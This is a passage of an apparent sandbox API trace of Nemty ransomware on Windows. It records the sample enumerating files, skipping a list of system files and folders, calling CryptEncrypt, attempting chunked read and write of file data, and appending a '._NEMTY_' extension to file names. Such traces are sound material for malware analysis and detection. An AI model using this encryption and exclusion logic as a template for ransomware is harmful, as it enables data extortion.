lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.276] CloseHandle (hObject=0xffffffff) returned 0 [0118.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0118.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0118.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png._nemty_kgobjgd_")) returned 0 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340340 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.277] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cff384, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cff384, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2887fa65, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="..") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="...") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="windows") returned -1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="$RECYCLE.BIN") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="rsa") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="NTDETECT.COM") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="ntldr") returned 1 [0118.277] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="MSDOS.SYS") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="IO.SYS") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="boot.ini") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="boot.ini") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="ntuser.dat") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="desktop.ini") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="CONFIG.SYS") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="RECYCLER") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="BOOTSECT.BAK") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="bootmgr") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="programdata") returned 1 [0118.278] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2="appdata") returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_bottom.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_bottom.png", lpUsedDefaultChar=0x0) returned 23 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340340 [0118.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0118.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0118.279] Sleep (dwMilliseconds=0x5) [0118.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa279f50, dwHighDateTime=0x1d561e7)) [0118.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa279f50, dwHighDateTime=0x1d561e7)) [0118.293] GetLastError () returned 0x5 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.293] GetLastError () returned 0x5 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.293] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.293] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.293] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403f8 [0118.293] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403f8, pcchString=0x653e91c | out: pszString="Hi3x2m6NZjWI51EzBOFvFf+7qPnbr3vA8Pg55WiJ6kxTGvZAQtP9+BbIrkxaOf08\r\nIFcVwqz63HA93AE1hd7xmzMepOA9z770hLqY4g9GA0Epnu+eIxasWrRDb5fWKtfy\r\nVB0O0HTv2t6Z2WebNuTnlUxyJPDtR0Ho3zugOKgP69HilB04AcjKvroNbN85Y2Q9\r\nczclw2qYTKnnHXRKSYaRlvqrZFQV7r7StMp9aQjqFo2fH00CfYGcbiM/mZnNwfq0\r\nQ5ugdzoDlF5vuq5u/ZfTs3cQbe4fuSQabafsGTxhN2hoIIPNPM/ucvFoN2ehdeFm\r\n0PjWkQPrEqFVRODbiGG/PQ==\r\n", pcchString=0x653e91c) returned 1 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0118.293] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403f8 [0118.293] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.293] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.294] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.303] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.303] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.303] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.331] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.331] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403f8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.399] CloseHandle (hObject=0xffffffff) returned 0 [0118.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0118.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0118.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png" (normalized: "c:\\program 